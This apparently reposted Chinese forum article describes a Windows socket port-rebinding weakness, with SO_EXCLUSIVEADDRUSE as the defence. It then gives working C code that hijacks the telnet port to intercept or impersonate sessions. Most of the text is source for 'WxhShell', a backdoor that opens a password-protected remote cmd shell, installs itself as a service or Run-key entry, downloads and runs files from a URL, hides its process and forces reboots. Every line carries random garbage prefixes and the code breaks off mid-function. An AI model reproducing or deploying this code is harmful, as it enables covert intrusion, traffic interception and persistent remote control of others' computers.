在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
[6cF#_)* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
^!A@:}t> A<p6]#t#X) saddr.sin_family = AF_INET;
&"6%D|Z0 [cso$Tv saddr.sin_addr.s_addr = htonl(INADDR_ANY);
$97EeE:{M e|
Sw+fhy< bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
b|Sjh; nnZM{<!hF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
PblO?@~O zvOSQxGQ 这意味着什么?意味着可以进行如下的攻击:
ab8F\%y-8 irooFR[L9 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
,Pj UlcO_ 6 K-jje;) 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
R>B4v+b w%?6s 3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
N$! Vm(S I><sK-3 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
m{?uR.O I*4g ;1x 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
kWZ/O |Ye%HpTTv 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
~{$5JIpCm <G60R^o 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
oGKk2oP
!Ct'H1J- #include
N
VBWF #include
' }T6dS #include
n-x%<j(Xf #include
RxUzJ DWORD WINAPI ClientThread(LPVOID lpParam);
u&Cu"-%=M int main()
;@s'JSPt {
eUEO~M2&U{ WORD wVersionRequested;
JXAH/N&i DWORD ret;
V1 O]L66 WSADATA wsaData;
(aX6jdvo BOOL val;
Uu(FFd~3 SOCKADDR_IN saddr;
4n}^1eQ9 SOCKADDR_IN scaddr;
L@x#:s= int err;
us >$f20T SOCKET s;
l g43 SOCKET sc;
hx:"'m5 int caddsize;
A[Pz&\@ HANDLE mt;
<?Y.w1 DWORD tid;
=x-@-\m wVersionRequested = MAKEWORD( 2, 2 );
s\io9'Ec err = WSAStartup( wVersionRequested, &wsaData );
2>h.K/pC if ( err != 0 ) {
ES9|eo6 printf("error!WSAStartup failed!\n");
B`/p[ U5 return -1;
>*e,+ok }
{N`<THPP saddr.sin_family = AF_INET;
b$/'dnx 1zWEK]2.R //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
@ZtDjxN
& yGX"1Fb?;x saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Pj7n_&*/ saddr.sin_port = htons(23);
CSNfLGA if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
MClvmv^ {
|iGfWJ^+ printf("error!socket failed!\n");
9xM7X? return -1;
&'A8R;b}-? }
|^T?5=&Kt val = TRUE;
Ika(ip#]= //SO_REUSEADDR选项就是可以实现端口重绑定的
xZ(f_Oy if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
6R';[um?q {
V^E.9fs, printf("error!setsockopt failed!\n");
_H)>U[ return -1;
$i.)1.x }
9vw0box //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
} 0x'm //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
nWb0S //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Ln@n6*%(/ `AcT}.u if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
.wJv_ {
VtzX I2.2 ret=GetLastError();
pi|P&?yw printf("error!bind failed!\n");
xq<3*Bcw return -1;
*eLKD_D`!C }
~Y.I;EPKt listen(s,2);
{BS}9jZx while(1)
~aZy52H_#. {
<RaM@E caddsize = sizeof(scaddr);
*`g'*R //接受连接请求
RL|d-A+; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
m2|%AD if(sc!=INVALID_SOCKET)
2b i:Q9 {
a(Fx1`} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
<jwQ&fm)/R if(mt==NULL)
Jdc{H/10 {
4[VW~x07 printf("Thread Creat Failed!\n");
uZ/XI {/ break;
f2f2&|7 }
b$W~w*O }
XGCjB{IV CloseHandle(mt);
`k]2*$% }
HZJ)q`1E closesocket(s);
\a7caT{ WSACleanup();
BGOajYD return 0;
hzcSKRm }
;rqW?':(i DWORD WINAPI ClientThread(LPVOID lpParam)
ALY3en9, {
p`I[3/$3 SOCKET ss = (SOCKET)lpParam;
2P(6R.8;6 SOCKET sc;
W_bp~Wu
unsigned char buf[4096];
hC
D6 SOCKADDR_IN saddr;
RoLN# long num;
o6Jhl8 DWORD val;
UrRYK-g DWORD ret;
vXLGdv:: //如果是隐藏端口应用的话,可以在此处加一些判断
:6[G;F7s //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
gCL?{oVU saddr.sin_family = AF_INET;
vKFEA7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
8quH#IhB saddr.sin_port = htons(23);
#6F|}E if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;BmPP, {
5I>a|I!j printf("error!socket failed!\n");
/)*si return -1;
&WJ;s* }
`P/87=h val = 100;
#\l#f8(l if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%$6?em_ {
#DA ,* ret = GetLastError();
O[j$n return -1;
+|6E~#zklY }
Ie7S'.Lmq if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-_^#7] {
qE*h UzA ret = GetLastError();
ufB9\yl{~ return -1;
iit 5IV }
gHox>r6.A if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
95.s,'0 {
IO{iQ-Mg printf("error!socket connect failed!\n");
X- P%^mK closesocket(sc);
x }.&?m closesocket(ss);
,E&W{b return -1;
l{8t;!2t }
Ij?Qs{V while(1)
"\O{!Hj8 {
p?'
F$Wz //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}*|aVBvU //如果是嗅探内容的话,可以再此处进行内容分析和记录
rI'kZ0& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
+HF*X~},i num = recv(ss,buf,4096,0);
iUq{c+h
if(num>0)
50^CILKo7 send(sc,buf,num,0);
)VeeAu)p else if(num==0)
F>
b<t.yV break;
f!bGH-.r5 num = recv(sc,buf,4096,0);
|k<5yj4? if(num>0)
>K
7]G?+7E send(ss,buf,num,0);
7!A3PDAe else if(num==0)
@#::C@V] break;
1i
7p' }
]//Dd/L6 closesocket(ss);
i|N(=Z= closesocket(sc);
U?8X] return 0 ;
:o_6
}
/jN&VpDG I{7Hz{ $*;ke5Dm4 ==========================================================
NBO&VYs| 24I~{Qy 下边附上一个代码,,WXhSHELL
\SA$:^zO x<>In"QV ==========================================================
lt|UehJF p2j=73$ #include "stdafx.h"
=~ ="# fHacVjJ #include <stdio.h>
_;u@xl= #include <string.h>
|r/4
({n #include <windows.h>
A{ Ejk| #include <winsock2.h>
gro@+^DmT #include <winsvc.h>
q6zKyOE #include <urlmon.h>
("_tML 8/p T0lbMp #pragma comment (lib, "Ws2_32.lib")
BZRC0^-C@ #pragma comment (lib, "urlmon.lib")
8\rHSsP B#K2?Et!t #define MAX_USER 100 // 最大客户端连接数
Y?V>%eBu #define BUF_SOCK 200 // sock buffer
84YZT+TEN #define KEY_BUFF 255 // 输入 buffer
zP#%ya:I MUqV$#4@I #define REBOOT 0 // 重启
~
H $q #define SHUTDOWN 1 // 关机
ntEf-x< 5Y(f7,JX #define DEF_PORT 5000 // 监听端口
roE*8:Y r$z0C&5 #define REG_LEN 16 // 注册表键长度
s(M8 Y #define SVC_LEN 80 // NT服务名长度
($Y6hn+ kV3Zt@+ // 从dll定义API
or..e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
X00!@
^g typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
tS&rR0<OW typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
$.-\2;U typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
:{KoZd ,MdK "Qa> // wxhshell配置信息
cQldBc struct WSCFG {
[G[|auKF int ws_port; // 监听端口
d}RR!i`<N char ws_passstr[REG_LEN]; // 口令
({#M*=&" int ws_autoins; // 安装标记, 1=yes 0=no
s6J`i&uu char ws_regname[REG_LEN]; // 注册表键名
L/n?1'he char ws_svcname[REG_LEN]; // 服务名
3erGTa[|q char ws_svcdisp[SVC_LEN]; // 服务显示名
%{ToWLb{I char ws_svcdesc[SVC_LEN]; // 服务描述信息
?\NWKp char ws_passmsg[SVC_LEN]; // 密码输入提示信息
BV01&.<| int ws_downexe; // 下载执行标记, 1=yes 0=no
Zqnwf char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
^N\$oV$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
5p7?e3 #[C=LGi };
wjeuZNYf swh8-_[c/ // default Wxhshell configuration
- .EH?{i struct WSCFG wscfg={DEF_PORT,
at-+%e "xuhuanlingzhe",
k6?;D_dm 1,
7A mnxFC "Wxhshell",
H${5pY_M "Wxhshell",
86AZ)UP2D "WxhShell Service",
}[>X}"_e "Wrsky Windows CmdShell Service",
6,q}1- "Please Input Your Password: ",
:|tWKA 1,
C6T?D5 "
http://www.wrsky.com/wxhshell.exe",
tr t^o "Wxhshell.exe"
6SGV}dAx };
;0c
-+, ^L@2%}6b` // 消息定义模块
mhDC1lXF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
1\aJ[t char *msg_ws_prompt="\n\r? for help\n\r#>";
Jb (CH4|7 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
&Q`{ Gk char *msg_ws_ext="\n\rExit.";
#NZ#G~oeO char *msg_ws_end="\n\rQuit.";
miTySY6^ char *msg_ws_boot="\n\rReboot...";
$%P?2g"j, char *msg_ws_poff="\n\rShutdown...";
`UK'IN.il char *msg_ws_down="\n\rSave to ";
O DO'!T- j
LS<S_` char *msg_ws_err="\n\rErr!";
h7"c_=w+ char *msg_ws_ok="\n\rOK!";
U7do,jCoa !JGe
.U5 char ExeFile[MAX_PATH];
lPaTkZw int nUser = 0;
CVt:tV HANDLE handles[MAX_USER];
"-T[D9(A int OsIsNt;
^P}jn`4 g]Jt (aYK SERVICE_STATUS serviceStatus;
"!w#E6gU SERVICE_STATUS_HANDLE hServiceStatusHandle;
R9z:K_d, YEPQ/Pc // 函数声明
h4#y'E!,Z int Install(void);
1p5n}| int Uninstall(void);
2Wn*J[5 int DownloadFile(char *sURL, SOCKET wsh);
!*1$j7`tP int Boot(int flag);
bt{b%r void HideProc(void);
VtN1 [} int GetOsVer(void);
*671MJ9 int Wxhshell(SOCKET wsl);
akA7))Q void TalkWithClient(void *cs);
dM=45$\q int CmdShell(SOCKET sock);
&"r /&7: int StartFromService(void);
HSk_'g(\0 int StartWxhshell(LPSTR lpCmdLine);
r@a]fTf 5MCnGg@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
@ tvz9N VOID WINAPI NTServiceHandler( DWORD fdwControl );
z?^oy. sg8[TFX@Z // 数据结构和表定义
vh#81}@N7* SERVICE_TABLE_ENTRY DispatchTable[] =
>t_h/:JZ) {
-tZ~&1" {wscfg.ws_svcname, NTServiceMain},
&,l(2z[ {NULL, NULL}
AU1U?En };
@C|nc&E2s o (k{Ed // 自我安装
fDwK5? int Install(void)
d9& {
Mbp7%^E"A char svExeFile[MAX_PATH];
Yb=77(QV HKEY key;
16ZyLt strcpy(svExeFile,ExeFile);
Bd]k]v+ 3K=%I+G(4 // 如果是win9x系统,修改注册表设为自启动
xg}Q~,: if(!OsIsNt) {
n$F~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>UQY3C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
lSg[7lt RegCloseKey(key);
FUarI5#fwF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
o! l Ykud RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:h(`eC RegCloseKey(key);
(3"N~\9m return 0;
\_ V*Cs }
kO5lLqE }
a%A!DzS }
PY;tu#W!% else {
T](}jQxj` DXo]O}VF // 如果是NT以上系统,安装为系统服务
;=7K*npT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
/O5&)%N if (schSCManager!=0)
V2!0),]B {
$~S~pvT SC_HANDLE schService = CreateService
iy8J l (
pCDN9*0/ schSCManager,
?!K6")SE wscfg.ws_svcname,
z&WtPSyGj wscfg.ws_svcdisp,
X@"G1j >/ SERVICE_ALL_ACCESS,
*f3S tX SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ei<0,w[V1{ SERVICE_AUTO_START,
qm3H/cC9+ SERVICE_ERROR_NORMAL,
`sCn4-$8 svExeFile,
V"Z8-u NULL,
"(3u)o9 NULL,
zGFD71=# NULL,
~_-]>
SI NULL,
+Q[uq!<VJk NULL
'L7qf'RV );
K Ax=C}9 if (schService!=0)
:{2~s {
VJ=>2'I CloseServiceHandle(schService);
`0N7G c CloseServiceHandle(schSCManager);
."H;bfcL_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
K
J\kR strcat(svExeFile,wscfg.ws_svcname);
b?l>vUgAg if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
y-db CYMc RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Bl*}*S PU RegCloseKey(key);
+?Ii=* 7n return 0;
!+Xul_XG }
*m}8L%<HT }
|ZL?Pqki CloseServiceHandle(schSCManager);
pY`$k#5 }
G;3%k.{ }
RbX9PF"|+ jZ|M$I3* return 1;
@QQ%09* }
Qz,2PO Ifn|wrx;g // 自我卸载
T@tsM|pI int Uninstall(void)
3)y1q>CQf {
/@F'f@; HKEY key;
<NMJkl-r8r &em~+83 if(!OsIsNt) {
-67Z!N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
PjeI&@ RegDeleteValue(key,wscfg.ws_regname);
J,
-.5 RegCloseKey(key);
KClkPL!jP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
1ysfpX{= RegDeleteValue(key,wscfg.ws_regname);
WR{m?neE_N RegCloseKey(key);
s/tLY/U/ return 0;
Nvgi&iBh8 }
hOwb
}
w$:\!FImx }
^eh.Iml'@ else {
&VGV0K3Dp [)Nt;|U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
E`o_R=% if (schSCManager!=0)
wa8jr5/k" {
'#7k9\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
e*2^ if (schService!=0)
AioW*`[WjA {
DyN[Yp|V if(DeleteService(schService)!=0) {
Kk8wlC CloseServiceHandle(schService);
&<N8d(
CloseServiceHandle(schSCManager);
|*NLWN.ja) return 0;
/o9it; }
gw)4P tb! CloseServiceHandle(schService);
<[k3x8H' }
!-lI<$S: CloseServiceHandle(schSCManager);
)/jDt dI }
3Y)&[aj }
9<u&27. VW*%q0i- return 1;
7Mh'x:p }
a51(ySC}<s oJTEN}fL // 从指定url下载文件
+j 9+~ int DownloadFile(char *sURL, SOCKET wsh)
epsRv&LfC {
sWlxt q g HRESULT hr;
,7B7X)m{3 char seps[]= "/";
".>#Qp% char *token;
^aB;Oo char *file;
16AlmegDk char myURL[MAX_PATH];
B&_:20^y~ char myFILE[MAX_PATH];
^UvL1+ @ym:@<D strcpy(myURL,sURL);
] V/5<O1 token=strtok(myURL,seps);
}ekNZNcuM while(token!=NULL)
f!+d*9 {
f/sz/KC]~ file=token;
<#:iltO token=strtok(NULL,seps);
Qr
R+3kxM }
(')t>B1Z DNmC
GetCurrentDirectory(MAX_PATH,myFILE);
":eyf3M strcat(myFILE, "\\");
MEI&]qI strcat(myFILE, file);
l iY/BkpH send(wsh,myFILE,strlen(myFILE),0);
a0ms9%Y;Q[ send(wsh,"...",3,0);
f4S}Nga( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
iX?j "=! if(hr==S_OK)
l3u [ return 0;
&5HI else
2po8n_ return 1;
8;qOsV)UDT GNW$:=0u }
"I=Lbh-` s1OSuSL> // 系统电源模块
m<n+1 int Boot(int flag)
A6KP(@
{
"A[.7 w HANDLE hToken;
6U).vg< TOKEN_PRIVILEGES tkp;
g#P]72TQ 6Lq8#{/]u if(OsIsNt) {
)E",)}Nh OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
HE*^!2f LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
[Qr_0O tkp.PrivilegeCount = 1;
#F/W_G7 v tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
*[>{9V AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
+v%+E{F$+ if(flag==REBOOT) {
([m4dr if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Uvk: return 0;
Nl4uQ_" }
* k\;G? else {
&OvA[<qT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
#x;d+Q@ return 0;
f3;[ZS }
3
JlM{N6+ }
"Ml#,kU<T else {
Y;\@
5TgQ, if(flag==REBOOT) {
>8NUji2I if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
;Zf7|i`R3 return 0;
"SuG6!k3 }
,*[N_[ else {
g6gwNC:aF if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
&/Gf@[ return 0;
iqF|IVPoi }
RSeav }
%f\j)qw 4<EC50@. return 1;
6R2F,b(_ }
F.Bij8\ &i805,lx // win9x进程隐藏模块
cr18`xU void HideProc(void)
M )v='O<H8 {
FrRUAoFO ocS}4.a@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
>kuu\ if ( hKernel != NULL )
m8l!+8 {
tHvP0RxM pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
.*?-j?U. ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
>2'A~?% FreeLibrary(hKernel);
M?m@o1\;W }
V\c`O : t
D`e< return;
bvl!^xO] }
9*s:Vff{ X=jD^"- // 获取操作系统版本
1#zD7b~ int GetOsVer(void)
~A(^< {
;e2D} OSVERSIONINFO winfo;
,{'ZP_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Fbw.Y6 GetVersionEx(&winfo);
q:wz!~(> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
{(d 6of`C_ return 1;
7Zft]C?|@ else
ayg^js2, return 0;
4`sW_
ks }
U]M5&R=? UD&pL'{s // 客户端句柄模块
F:Yp1Wrb < int Wxhshell(SOCKET wsl)
}'p*C$ {
0Y!~xyg/ SOCKET wsh;
1_mqPMm struct sockaddr_in client;
OL.{lKJ3DV DWORD myID;
+~xzgaL
$%1oZ{&M while(nUser<MAX_USER)
S:cd'68D {
7#PQ1UWl int nSize=sizeof(client);
~qE:Nz0@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
8wCB}q C if(wsh==INVALID_SOCKET) return 1;
Jn\>Sz(96 Wm!cjGK handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Vzh\1cF if(handles[nUser]==0)
?{1& J9H closesocket(wsh);
fTGVG else
7Y
4! nUser++;
}gQnr;lv }
o}L\b,]) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
F{eI[A `Js"*[z return 0;
xeRoif\4c }
>B$B|g~ EuKkIr/( // 关闭 socket
@,q <CF@Y void CloseIt(SOCKET wsh)
wd2z=^S~ {
nz/cs n closesocket(wsh);
1+Q@RiW nUser--;
\[]4rXZN0 ExitThread(0);
S3y('
PeF }
GjX6noqT dTQW /kAHQ // 客户端请求句柄
CE|rn8MB void TalkWithClient(void *cs)
:;w#l"e7< {
n}8}:3" a6 "-,Kg SOCKET wsh=(SOCKET)cs;
vSwRj<|CF char pwd[SVC_LEN];
=F46v{la char cmd[KEY_BUFF];
G54`{V4&s char chr[1];
/PE L[Os int i,j;
UYhxgPGsj CrYPcvd6 while (nUser < MAX_USER) {
yXCHBz 6& Fm[3Btn if(wscfg.ws_passstr) {
5a5)hmO RB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9D7i>e%,;- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
x!n8Wx //ZeroMemory(pwd,KEY_BUFF);
/z: mi i=0;
Yzw[.(jc} while(i<SVC_LEN) {
H4<Q}([w ~re~Ys // 设置超时
?HeUU fd_set FdRead;
upGLZ# struct timeval TimeOut;
$4BvDZDk`B FD_ZERO(&FdRead);
Hz>Dp
! FD_SET(wsh,&FdRead);
mB"1QtD TimeOut.tv_sec=8;
6 !wk5# TimeOut.tv_usec=0;
\t)`Cp6,[b int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Y}
6@ w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
od^ylg>K pk0{*Z?@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
%a!gN pwd
=chr[0]; w8a49 Fv
if(chr[0]==0xd || chr[0]==0xa) { pj7v{H +
pwd=0; e0hY
break; iU AY
} d{Owz&PL
i++; gyuBmY
} _tE55X&
%< `D'V@
// 如果是非法用户,关闭 socket YLuf2ja}X
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n}c~+0`un
} uF<?y0t
zE~Xxp
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JfmYr47Pv
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lnRL^ }
Y=5P=wE
while(1) { IhOAMH1
$lq.*UQ;0
ZeroMemory(cmd,KEY_BUFF); m=SI *V
6@eF|GoP
// 自动支持客户端 telnet标准
]sJC%/
j=0; [bRE=Zr$Ry
while(j<KEY_BUFF) { A0:rn\$l3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -&=dl_m
cmd[j]=chr[0]; mhy='AQJ
if(chr[0]==0xa || chr[0]==0xd) { !#=3>\np+X
cmd[j]=0; IdK<:)Q
break; W/AF
} ]qxl^Himq
j++; p4
=/rkq
} FRQ0t!b<M1
YV!hlYOBi
// 下载文件 9bspf {
if(strstr(cmd,"http://")) { &{UqGD#1&
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?{e}ouKYX1
if(DownloadFile(cmd,wsh)) 4QTHBT+2`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]!&$&t8.
else bzxf*b1I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8QZI(Xe9r
} zRou~Kxi
else { H!&_Tv[
8|)^m[c&
switch(cmd[0]) { IWq#W(yM
');vc~C
// 帮助
-0x Q'1I
case '?': { (:HT|gKoE
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N2"B\
break; X6r0+D5AvB
} f:ObI
// 安装 V~ORb1
case 'i': { <r.QS[:h
if(Install()) (+[%^96
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Y5LAt:
else FK593z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uq$/Q7
break; 6Eu(C]nC(
} Rd5_{F
// 卸载 0hV#]`9`gN
case 'r': { t15{>>f4>
if(Uninstall()) #Uu,yHMv:;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [I3Nu8
else CV.|~K0O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {0Y6jk>I
break; BZ1wE1 t
} YE~IO5
// 显示 wxhshell 所在路径 <D ~hhGb
case 'p': { Q(nTL WW
char svExeFile[MAX_PATH]; 3Iv^
strcpy(svExeFile,"\n\r"); jDpA>{O[
strcat(svExeFile,ExeFile); YHQ]]#'
send(wsh,svExeFile,strlen(svExeFile),0); {pIh/0
break; Z%]K,9K
}
,"(G
// 重启 :5,~CtF5 `
case 'b': { #Az#_0=
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $t):r@L
if(Boot(REBOOT)) QQ .?A(U7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -je} PwT
else { ;v@ G
closesocket(wsh); ;+E]F8G9r
ExitThread(0); !q\=e@j-i
} rM,e$
break; Op ar+|p\
} RTcxZ/\"#
// 关机 ly17FLJ].
case 'd': { 6+IhI?lI=
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eyD V911
if(Boot(SHUTDOWN)) :}zyd;Rc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m7'<k1#"Y
else { n9+33^ PT
closesocket(wsh); QPDh!A3T
ExitThread(0); V2Vr7v=Y"
} uGMzU&+
break; '6dVe2V
} <#C,66k
// 获取shell eUA]OF@
case 's': { qg
oB}n%
CmdShell(wsh); #uhUZq
closesocket(wsh); u[b |QR=5
ExitThread(0); lA5Dag'
break; o%t4WQ|bj
} SV>tw`2
// 退出 p0@^1
case 'x': { k."p&
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |:1{B1sqA
CloseIt(wsh); Food<(!.>
break; Lb/GL\J)
} 2|je{
// 离开 AEyvljv
case 'q': { 1#A$&'&\J;
send(wsh,msg_ws_end,strlen(msg_ws_end),0); @L3XBV2
closesocket(wsh); )!"fUz$
WSACleanup(); AoS7B:T;!
exit(1); j<p.#jkT
break; XIdh9)]^}
} qiNVaV\wr|
} R*[sO*h\k
} dkC[SG`
j7~FR{:j
// 提示信息 Y MX9Z||
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "h sT^sy
} .e~"+Pe6b
} 3Z
b]@n
entU+O r
return; h aAY =:
} \vA*dQ-
;+9OzF ;
// shell模块句柄 U)J5K
int CmdShell(SOCKET sock) |bY@HpMp
{ yKc-:IBb{u
STARTUPINFO si; y}?|+/ dN
ZeroMemory(&si,sizeof(si)); SI}s
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xlI=)ak{
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :7v'[b
PROCESS_INFORMATION ProcessInfo; (\AN0_
char cmdline[]="cmd"; #EPC]jFk
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2cMCZuO
return 0; @5>#<LV=E#
} aFnel8
$^]K611w9
// 自身启动模式 J&xZN8jW
int StartFromService(void) WXQ@kQD
{ '~[8>Q>
typedef struct WK{`_c
U^
{ >i/jqT/
DWORD ExitStatus; /DQYlNa
DWORD PebBaseAddress; ={BD*=i
DWORD AffinityMask; um2a#6uo
DWORD BasePriority; s0SzO,Vi
ULONG UniqueProcessId; 7Uenr9)M
